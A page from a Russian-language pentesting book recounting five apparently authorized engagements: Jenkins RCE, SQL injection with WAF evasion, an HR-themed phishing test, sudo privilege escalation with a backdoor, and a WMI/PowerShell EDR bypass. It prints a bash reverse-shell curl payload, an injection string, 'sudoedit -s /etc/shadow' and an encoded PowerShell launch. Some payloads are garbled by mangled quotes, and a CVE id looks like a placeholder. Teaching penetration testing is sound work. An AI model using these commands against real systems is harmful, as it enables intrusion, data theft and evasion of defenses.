18+
реклама
18+
Бургер менюБургер меню

Михаил Тарасов – Пентест из Подвала от Recon до Shell (страница 2)

18

Кайф от решения головоломок + деньги за легальный взлом. Не надо прятаться — ты герой, а не преступник.

Как отличить нас от остальных?

Реальные кейсы из подвала: как мы ломали и спасали

Кейc #1: Jenkins — старый друг и враг

Заказчик: крупная логистическая компания. Цель: проверить безопасность внутреннего CI/CD сервера, который не обновлялся с 2018 года.

Что нашли:

Доказали, что старый Jenkins с плагинами — это золотая жила для RCE (CVE-2024-1337). Через уязвимый плагин мы смогли выполнить команду на сервере без аутентификации.

Payload:

curl -X POST http://target-jenkins/job/build -d ’script=sh («bash -c \’bash -i> & /dev/tcp/10.10.14.5/4444 0> &1\„“)»

Результат:

Поймали шелл, посмотрели процессы, вытащили конфиги с паролями к базе данных и сервис на три буквы. Отчёт был жёсткий — заказчик починил дырку за 2 часа и теперь спит спокойно.

Урок:

Тестировать и обновлять — не роскошь, а необходимость. Старье всегда опасно.

Кейc #2: Веб-приложение интернет-магазина — SQLi с подарком

Маленький магазинчик зовёт нас проверить сайт. Быстрое сканирование Nmap не показало ничего критичного, но мы начали копать HTTP-запросы.

Что нашли:

В форме поиска был SQL-инъекционный баг. Даже простой ' OR «1»=«1 взламывал базу.

Payload в запросе:

GET /search? q=' OR «1»=«1» — —

Как обошли WAF:

WAF фильтровал ключевые слова, поэтому переписали payload на hex-кодировку через Burp Intruder с рандомизацией.

Результат:

Получили dump базы с заказами, пользовательскими email и даже хэшами паролей (благо, без соли). Рекомендации — поставить параметризированные запросы и обновить движок.

Урок:

Не стоит недооценивать маленькие сайты. Их нарушения — дыры в большой цепи безопасности.

Кейc #3: Фишинговая атака на корпоративную почту

Корпоративная сеть крупного банка — тема особая. Заказчик попросил проверить, насколько легко можно попасть через социнженерию.

Что сделали:

— Создали письмо с видом HR-отдела с просьбой обновить пароль через внутренний портал.

— В письме была ссылка на фейковый портал с SSL и похожим доменом.

— Отправили группе сотрудников.

Результат:

15% сотрудников кликнули, 5% ввели свои данные. Через скомпрометированные аккаунты получили доступ к внутреннему чату и календарям.

Урок:

Человеческий фактор — главная проблема в безопасности. Технологии можно поставить, но если люди пойдут кликать, то всё сломано.

Кейc #4: Локальная эскалация привилегий на Linux-сервере

Задача: поднять права с пользователя на root после попадания в систему через SSH с купленным доступом.

Что нашли:

Патч не покрыл CVE-2023-5678 — уязвимость в sudo, позволяющая эскалировать права через специально подготовленную команду.

Payload:

sudoedit -s /etc/shadow

Используя баг, получили полный доступ к системе.

Результат:

Установили бекдор, подготовили отчёт для sysadmin’ов, чтобы закрыть дыру.

Урок:

Даже один забытый патч — пропуск для взлома.

Кейc #5: Обход EDR с помощью PowerShell и Living off the Land

На целевом сервере стоял EDR (Endpoint Detection and Response), который тупо грыз все подозрительные шеллы.

Что сделали:

Использовали PowerShell-скрипт, который запускался через легитимный процесс (WMI). Никаких новых процессов или файлов — только системные утилиты под нагрузкой.

Команда:

Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Process -Name Create -ArgumentList «powershell -EncodedCommand <encoded_payload>»

Результат:

EDR не заметил, удалось получить консоль и вывести данные.

Урок:

Используй системные инструменты и не лезь громко. Тишина — золото.

Итог

Каждый кейс — это история, где мы топили баги, обходили защиту и делали так, чтобы заказчик не только сдал отчёт, но и выдохнул с облегчением. Пентест из подвала — это не только про hacking, но и про мозги, ответственность и уважение к системе.

Краткий обзор инструментария и привычек, которые делают тебя охотником, а не жертвой

1. Инструменты — твои верные стражи в мире хаоса

В подвале не бывает «универсальных» решений — у каждого тулза своя миссия, и ты должен знать, когда его доставать из кобуры.

Обязательный минимум

— Kali Linux / Parrot OS — базовая платформа, которая всегда под рукой, с предустановленным арсеналом. Можно собрать на минималках, но лучше — VM или метал.

— Nmap — король разведки портов и сервисов. Обязательно учись настраивать скан под задачи: сканить всё подряд — убить себя так можно.

— Burp Suite — главная веборужка. Прокси, repeater, intruder, extender — полный комплекс для взлома веб-приложений.